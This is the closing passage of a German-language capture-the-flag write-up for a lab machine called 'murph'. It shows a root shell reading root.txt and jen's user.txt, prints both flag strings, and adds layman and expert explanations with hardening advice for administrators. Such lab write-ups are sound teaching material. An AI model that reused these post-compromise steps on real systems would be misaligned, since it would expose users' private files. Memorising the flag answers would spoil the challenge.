• Umfassende Protokollierung und Überwachung: Implementieren Sie robuste Protokollierung für Sudo-Aktivitäten, Prozessstarts, Dateizugriffe und Netzwerkverbindungen. Richten Sie Alarme für verdächtige Aktivitäten ein.
• Sichere Benutzerverwaltung: Stellen Sie sicher, dass Passwörter stark sind und nicht wiederverwendet werden. Überprüfen Sie regelmäßig die Mitgliedschaft in privilegierten Gruppen oder die Berechtigungen einzelner Benutzer.

root@murph:~# ls
root.txt
root@murph:~# cat root.txt
HMVRzKuifxeTnsjOpt

Analyse: Nachdem ich Root-Zugriff erlangt habe, ist mein primäres Ziel, die Root-Flag zu finden. Standardmäßig befindet sich die Root-Flag oft im Home-Verzeichnis des Root-Benutzers, also in /root/. Ich befinde mich bereits im Home-Verzeichnis von Root (erkennbar am Prompt root@murph:~#). Ich liste den Inhalt des aktuellen Verzeichnisses mit ls auf. Die Ausgabe zeigt eine Datei namens root.txt. Ich lese den Inhalt dieser Datei mit cat root.txt aus. Die Ausgabe ist die Zeichenkette HMVRzKuifxeTnsjOpt. Für Laien: Ich bin jetzt der 'Chef' (root) und schaue in den Ordner des 'Chefs' (/root/). Dort finde ich eine Datei, die 'root.txt' heißt. Ich schaue mir an, was darin steht, und das ist die 'Geheimnummer' (Flag) für 'root'! Fantastisch! Für Experten: Das Auffinden der Datei root.txt in /root/ und das erfolgreiche Auslesen ihres Inhalts (HMVRzKuifxeTnsjOpt) bestätigen die Kompromittierung des Root-Accounts und die Sammlung der Root-Flag. Dies ist ein Standardort für die Root-Flag in CTFs.

Bewertung: Die Root-Flag wurde erfolgreich gefunden und ausgelesen. Das Hauptziel des Pentests ist erreicht.

Empfehlung (Pentester): Die Root-Flag ist gesammelt. Der Test ist abgeschlossen.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Dateien wie Flags sicher gespeichert und nur für autorisierte Benutzer zugänglich sind (im Fall von root.txt sollte nur Root darauf zugreifen können, was hier der Fall war, aber der Root-Account wurde kompromittiert).

root@murph:~# ls /home/jen/
user.txt
root@murph:~# cat /home/jen/user.txt
HMVkwXxGPGcaoPNKkH

Analyse: Nachdem ich Root-Rechte habe, kann ich nun auf alle Dateien im System zugreifen, auch auf solche, die ich zuvor als Low-Privilege-Benutzer nicht lesen konnte (wie /home/jen/user.txt). Ich liste den Inhalt des Home-Verzeichnisses von Benutzer jen auf (ls /home/jen/), was die Datei user.txt zeigt. Dann lese ich den Inhalt dieser Datei mit cat /home/jen/user.txt aus. Die Ausgabe ist die Zeichenkette HMVkwXxGPGcaoPNKkH. Für Laien: Da ich jetzt der 'Chef' (root) bin, kann ich auch in den Ordner von 'jen' schauen und die Datei lesen, die ich vorher nicht lesen durfte. Darin finde ich die 'Benutzer-Geheimnummer' (Flag) für 'jen'! Für Experten: Mit Root-Berechtigungen kann ich nun die User-Flag lesen, die ich zuvor als www-data und jen nicht auslesen konnte (aufgrund der -rw------- Berechtigungen, die nur dem Eigentümer jen Leserechte gaben). Das Auslesen von /home/jen/user.txt (HMVkwXxGPGcaoPNKkH) bestätigt die Sammlung der User-Flag.

Bewertung: Die User-Flag wurde erfolgreich gefunden und ausgelesen. Damit sind beide Flags gesammelt und die Ziele des Pentests erreicht.

Empfehlung (Pentester): Beide Flags sind gesammelt. Der Pentest ist abgeschlossen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer-Home-Verzeichnisse mit strikten Berechtigungen versehen sind (nur für den Eigentümer lesbar/schreibbar), um die Offenlegung von Daten zu verhindern, falls ein anderer Low-Privilege-Benutzer kompromittiert wird (obwohl Root dies umgehen kann).